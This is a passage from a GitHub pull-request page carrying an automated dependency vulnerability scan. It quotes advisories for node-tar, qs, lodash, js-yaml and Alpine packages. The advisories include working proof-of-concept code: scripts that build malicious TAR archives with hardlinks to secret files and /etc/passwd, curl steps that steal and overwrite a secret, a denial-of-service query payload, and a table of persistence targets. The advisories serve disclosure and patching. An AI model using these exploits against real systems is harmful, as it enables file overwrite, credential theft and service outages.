stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.


high 8.2: CVE--2026--24842 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<7.5.7
Fixed version7.5.7
CVSS Score8.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

  • Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

  • Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result
SSH Access ~/.ssh/authorized_keys Direct shell access to server
Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution
Shell RC Files ~/.bashrc, ~/.profile Code execution on user login
Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests
Systemd Services /etc/systemd/system/*.service Code execution on service restart
User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

  1. Overwrite arbitrary files via hardlink escape + subsequent write operations
  2. Read sensitive files by creating hardlinks that point outside extraction directory
  3. Corrupt databases and application state
  4. Steal credentials from config files, .env, secrets

high 8.2: CVE--2026--23745 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=7.5.2
Fixed version7.5.3
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
EPSS Score0.007%
EPSS Percentile0th percentile
Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Impact

  • Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
  • Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

medium 6.1: CVE--2025--64118 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected range=7.5.1
Fixed version7.5.2
CVSS Score6.1
CVSS VectorCVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H
EPSS Score0.005%
EPSS Percentile0th percentile
Description

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

critical: 0 high: 2 medium: 2 low: 0 tar 1.35-r4 (apk)

pkg:apk/alpine/tar@1.35-r4?os_name=alpine&os_version=3.23

high : CVE--2026--24842

Affected range<=1.35-r4
Fixed versionNot Fixed
EPSS Score0.025%
EPSS Percentile6th percentile
Description

high : CVE--2018--20834

Affected range<=1.35-r4
Fixed versionNot Fixed
EPSS Score0.762%
EPSS Percentile73rd percentile
Description

medium : CVE--2024--28863

Affected range<=1.35-r4
Fixed versionNot Fixed
EPSS Score0.450%
EPSS Percentile63rd percentile
Description

medium : CVE--2025--45582

Affected range<=1.35-r4
Fixed versionNot Fixed
EPSS Score0.068%
EPSS Percentile21st percentile
Description
critical: 0 high: 1 medium: 0 low: 0 qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

high 8.7: CVE--2025--15284 Improper Input Validation

Affected range<6.14.1
Fixed version6.14.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.163%
EPSS Percentile37th percentile
Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:

npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Configuration:

  • arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  • Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  2. Application parses with qs.parse(query, { arrayLimit: 100 })
  3. qs ignores limit, parses all 100,000 elements into array
  4. Server memory exhausted → application crashes or becomes unresponsive
  5. Service unavailable for all users

Real-world impact:

  • Single malicious request can crash server
  • No authentication required
  • Easy to automate and scale
  • Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}

Fixed code:

if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}

This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

critical: 0 high: 0 medium: 5 low: 1 curl 8.17.0-r1 (apk)

pkg:apk/alpine/curl@8.17.0-r1?os_name=alpine&os_version=3.23

medium : CVE--2025--14017

Affected range<=8.17.0-r1
Fixed versionNot Fixed
EPSS Score0.007%
EPSS Percentile0th percentile
Description

medium : CVE--2025--13034

Affected range<=8.17.0-r1
Fixed versionNot Fixed
EPSS Score0.019%
EPSS Percentile4th percentile
Description

medium : CVE--2025--15079

Affected range<=8.17.0-r1
Fixed versionNot Fixed
EPSS Score0.021%
EPSS Percentile5th percentile
Description

medium : CVE--2025--14819

Affected range<=8.17.0-r1
Fixed versionNot Fixed
EPSS Score0.036%
EPSS Percentile10th percentile
Description

medium : CVE--2025--14524

Affected range<=8.17.0-r1
Fixed versionNot Fixed
EPSS Score0.021%
EPSS Percentile5th percentile
Description

low : CVE--2025--15224

Affected range<=8.17.0-r1
Fixed versionNot Fixed
EPSS Score0.049%
EPSS Percentile15th percentile
Description
critical: 0 high: 0 medium: 1 low: 0 lodash-es 4.17.21 (npm)

pkg:npm/lodash-es@4.17.21

medium 6.9: CVE--2025--13465 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range>=4.0.0
<=4.17.22
Fixed version4.17.23
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H/E:P
EPSS Score0.060%
EPSS Percentile19th percentile
Description

Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.

The issue permits deletion of properties but does not allow overwriting their original behavior.

Patches

This issue is patched on 4.17.23.

critical: 0 high: 0 medium: 1 low: 0 busybox 1.37.0-r30 (apk)

pkg:apk/alpine/busybox@1.37.0-r30?os_name=alpine&os_version=3.23

medium : CVE--2025--60876

Affected range<=1.37.0-r30
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile16th percentile
Description
critical: 0 high: 0 medium: 1 low: 0 libsodium 1.0.20-r0 (apk)

pkg:apk/alpine/libsodium@1.0.20-r0?os_name=alpine&os_version=3.23

medium : CVE--2025--69277

Affected range<1.0.20-r1
Fixed version1.0.20-r1
EPSS Score0.023%
EPSS Percentile5th percentile
Description
critical: 0 high: 0 medium: 1 low: 0 lodash 4.17.21 (npm)

pkg:npm/lodash@4.17.21

medium 6.9: CVE--2025--13465 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range>=4.0.0
<=4.17.22
Fixed version4.17.23
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H/E:P
EPSS Score0.060%
EPSS Percentile19th percentile
Description

Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.

The issue permits deletion of properties but does not allow overwriting their original behavior.

Patches

This issue is patched on 4.17.23.

critical: 0 high: 0 medium: 1 low: 0 js-yaml 4.1.0 (npm)

pkg:npm/js-yaml@4.1.0

medium 5.3: CVE--2025--64718 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range>=4.0.0
<4.1.1
Fixed version4.1.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.020%
EPSS Percentile4th percentile
Description

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

@mkaraki
mkaraki merged commit bbac44a into master Feb 6, 2026
16 checks passed
@mkaraki
mkaraki deleted the add-typing branch February 6, 2026 16:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant